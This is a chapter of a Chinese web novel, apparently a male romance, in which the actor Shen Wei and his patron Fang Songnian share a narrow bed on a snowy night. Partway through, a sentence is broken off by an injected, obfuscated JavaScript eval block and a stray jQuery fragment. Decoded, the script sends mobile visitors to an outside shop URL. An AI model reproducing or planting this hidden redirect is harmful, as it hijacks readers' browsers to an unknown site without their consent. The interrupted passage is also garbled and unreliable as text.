客厅里安静了一瞬，似乎没人感觉到有什么不对劲。电视里的小品正在抖包袱。沈诺没有熬夜的习惯，先溜回房间去了，沈未也配合着把电视音量调小了。
身后，窗帘拉开了一大半，从里头看出去，能看见路灯灯光下洋洋洒洒的雪，大片大片的，在光里旋转着往下落。
“你说什么？”方颂年看着沈未，一字一顿。
沈未的耳朵控制不住地热起来：“我说，要不你住下将就一晚。”
“‘将就’？”方颂年重复一遍，语气有些古怪。
沈未立刻意识到这人是什么意思：“不是，方总，我不是这个意思。”
“那你是什么意思？”
沈未把嘴闭上了，一双眼睛颇为幽怨地盯着他。
这人惯是这样，在意的点这么千奇百怪的。
“那您住不住吧？”
方颂年站起身来走到窗子边上，眼神挂在路面上，那儿已经积了一层很薄的白。
“这样的天开车确实不太安全。”方颂年说。
沈未坐在那里，看着方颂年的侧脸，额头上青筋狂跳：“那您就住下。”
没了某个不中听的前缀词语，方颂年的嘴角明显上升了两个像素点：“我住哪儿？”
“……”
沈未真想给自己两巴掌。
这出租屋就三个房间，主卧那对小情侣还没回来，沈诺睡了一间次卧，最后一间是他的，一米二的床，一个人睡刚好，两个人大男人睡……
他不敢想。
“沙发。”沈未补充，“我睡沙发，你睡我床。”
方颂年看着他没说话，那目光不轻不重地压在沈未身上像一条看不见的绳子，将人捆得几乎要窒息。
“你睡沙发？”方颂年的视线转到那张比一米二床铺还小的沙发上，“这儿？”
沈未点头。
方颂年转身走回沙发前拿起自己的大衣一下就套上了：“那我走了。”
沈未愣了一下，下意识伸手过去，一把把方颂年的大衣下摆给拽住了。方颂年被拽得脚步一顿，低下头来看着那只手：攥得很紧，好像松一点点就会什么都抓不住。
“方总，”沈未的声音有点哑，“雪那么大，你一个人开车不安全。”
“那你去睡床。”
沈未的嘴唇抿着，被他看得心里发毛，手却坚持地拽着人衣服。
他摇头，否决了方颂年的提议：“您睡床吧，这沙发我来睡。”
“沈未。”方颂年叫他的名字，人转过来面对着他，“和我睡一张床让你这么受不了？”
瞬间，沈未的耳朵像是被什么东西给烫了一下，整个人一抖，下意识就要反驳：“我不是——”
后半句又被掐灭在嗓子里。
沈未不明白，就是一个留宿住哪儿的问题，方颂年怎么可以那么纠结，一会儿纠结是不是将就，一会儿纠结是不是不想和他一起睡。他一个大老板，睡他那张一米二的床可不是将就了？退一万步讲，他们两个连那种事情都做过了，有什么受不受得了的？
可这些话他一个字都不敢说，在喉咙里转了三大三圈，最后变成了一句：“我睡觉不老实。”
“我不介意。”
沈未没接话。
他能接吗？他还能怎么接？方颂年今天就是铁了心要跟他睡一张床！铁了心要行驶自己作为金主不可被侵犯的绝对权利！宁愿和他挤在一张一米二小床上也要行驶！
他除了接受还能怎么办！
沈未从了。
趁着方颂年去洗漱，沈未跑到房间里把床单换了一套，枕头拍松，还给方颂年找了一套他的睡衣凑合。一边整理，一边控制不住自己的大脑胡思乱想。
这张床这么小，和第一次的酒店大床根本没法比。如果方颂年要在这里……
越想，他越发觉得手指僵硬，抓不住被套。
床正上方的墙脚上有一个洞，链接隔壁主卧情侣的空调管。沈未盯着那个洞，忽然想起没有戏拍那些天，洞里传来的……隔壁的声音。
如果他和方颂年……
门外传来浴室门关上的声音，咔哒一声。沈未吓得赶紧把脑子里那些乱七八糟的想法都摒弃。
方颂年穿着他的睡衣站在门口，毫不避讳地打量着这个几眼就能看光的房间：看起来像是阳台改造的，半面墙都是窗户，床占了房间的四分之三，衣柜都只能挤在床尾的位置。沈未站在床边，像个等待查房的客房服务员。
“你的房间？”
沈未点头。
“你睡里面。”说话间，方颂年已经在床边坐下了。
沈未愣了一下：“不，我睡外面，方总您……”
“睡里面。”方颂年重复了一遍，语气不重，但态度很明显，这不是商量，并且，他对沈未从一而终的称呼非常不满意。
沈未磨磨蹭蹭地洗漱完回来，方颂年已经在床上躺好了。他顺着墙根爬上床，小心翼翼地挤进方颂年和墙之间的空位里，手臂不可避免地蹭到墙面。很凉。
凉意透过睡衣贴着他的肩膀，但他又往里缩了缩，留出大半张床给方颂年。
“沈未，你那么怕我？”
“……”
沈未认命了。
早晚都是要被上的，垂死挣扎有什么用？
他自暴自弃地贴过去。
房间里暗下来，窗帘边缘没拉严实，会有薄弱的月光透进来，在天花板板上拉出一道细长的亮线。一米二的床，两个成年男人躺着，中间几乎没有缝隙。沈未能清晰感知到方颂年身体的温度，隔着两层睡衣的布料，还是烫得人不敢动。
沈未的身体紧绷着，睡意半天全无。左边贴着冰凉的墙面，右边蹭着方颂年的手臂。
他真是要疯了。
“你打算这么绷着一晚上？”方颂年的声音从黑暗里传过来，很低，带着一点沙哑。
“什么？”沈未装傻。
他听见方颂年叹了口气。
紧接着一只手伸过来，准确无误地揽住他的腰将他从墙上拉过来。
我草！
沈未的身体彻底僵住了。方颂年的手臂搭在他腰上，掌心贴着他的后腰，隔着薄薄的睡意，那股热度像是烙铁一样烫在他皮肤上，蛮横地把他狠狠固定在人怀里。
“方总——”
“睡觉。”方颂年的声音就在他耳边，呼吸扫过他的后颈。
这算什么？这算什么？？？？？我的天呢我的天呢！！！
沈未的身体绷得更紧了。
后腰上的那只手不老实地在他腰间软肉上捏了一把。
“嗯！”沈未没压住喉咙里的声音，整个人像是被电了一下，差点从床上蹦起来。腰间的那只手臂收
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886029|212534||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
紧，将他箍得死死的，毫无挣扎的余地。
“放松点。”方颂年的声音很低，扫过他的耳廓，激起一阵鸡皮疙瘩。
沈未咬着下嘴唇，一个字也不敢再说了。
两颗心脏离得太近，他甚至能感觉到对方的心跳，一下一下，沉稳有力，和他这快得没出息的心跳完全不同。一股不服气的劲忽然就窜上来了。
凭什么？
同在一个屋檐下，同在一张床上，凭什么方颂年就能毫无波澜地搂着他还心跳得那么稳？
凭啥啊！
沈未不服。
他稳住呼吸，稳住心跳，稳住身体。佯装什么都没发生似的，回敬方颂年一条腰上的手臂。
狭窄的一张床，两个人面对面侧睡着，几乎要搂紧了。
沈未的心跳还是很快，但他忽然不那么慌了。
因为刚刚，他一直细数着的，方颂年毫无波澜的心跳，刚才漏跳了一拍。
切，不过如此。
沈未洋洋得意。
他闭上眼，努力将自己的意识塞进一片虚无。
……
“方总，您睡了吗？”沈未悄咪咪地用气声开口。
方颂年没回答，但搭在他腰上的手又捏了一下。
“你、你捏我做什么？”
方颂年没回答。
沈未乖乖地等了几秒，正要放弃把手抽回来就听见方颂年开口了。
“方总是谁？”方颂年的语速慢悠悠的，带了点困倦和不满，“沈未，我没有名字？”
怎么又开始在意这个了。
沈未有些泄气，认命地喊：“方颂年。”
“嗯。”这回答应得快了，搭在沈未腰间的手也轻轻拍了一下，像是对小孩做对了事情的奖励。
“不是说你睡觉不老实吗？”
沈未鼓着嘴：“是不老实。”前提是没人像个大手铐似的给他腰铐得死死的呀，这么铐着，孙悟空来了都得规规矩矩地睡觉。
“方颂年。”沈未的声音闷在被子里。
“嗯？”
“你心跳快了。”
方颂年的手接着一下一下地拍，嘴上却没答话。得连着拍了有十几下，沈未才后知后觉地反应过来：方颂年这是跟着他的心跳声在拍。
这是嘲笑！
沈未不服。
“听着了吗？”
“听着了。”沈未哼哼唧唧地不满，但终究是没把身子挪动。
这绝不是因为他想要方颂年抱着，只是纯粹因为下雪了，天气冷了。抱在一起取暖是生物的本能。
“微微。”
沈未愣了一下：“方总……”腰上的手紧了一下，逼得他改了口。
“方颂年，你是在叫我吗？”
腰上的手拍了拍，似乎心情很好。
沈未控制不住嘴角抽了抽：“您这叫的，普通话也不标准啊。”
他在被子里乱动一气，脑袋上的头发早就乱了。屋里又黑，方颂年的表情他实在看得不真切。
沈未记不太清自己是什么时候睡着的。只能模模糊糊地记得腰上一直拍拍睡的手和掌心下的温度。方颂年说话时的呼吸会擦过他的耳垂，弄得人耐不住痒痒。
“微微。”
“微微。”
至今我们仍未知道微微是怎么通过拍手和方颂年沟通的……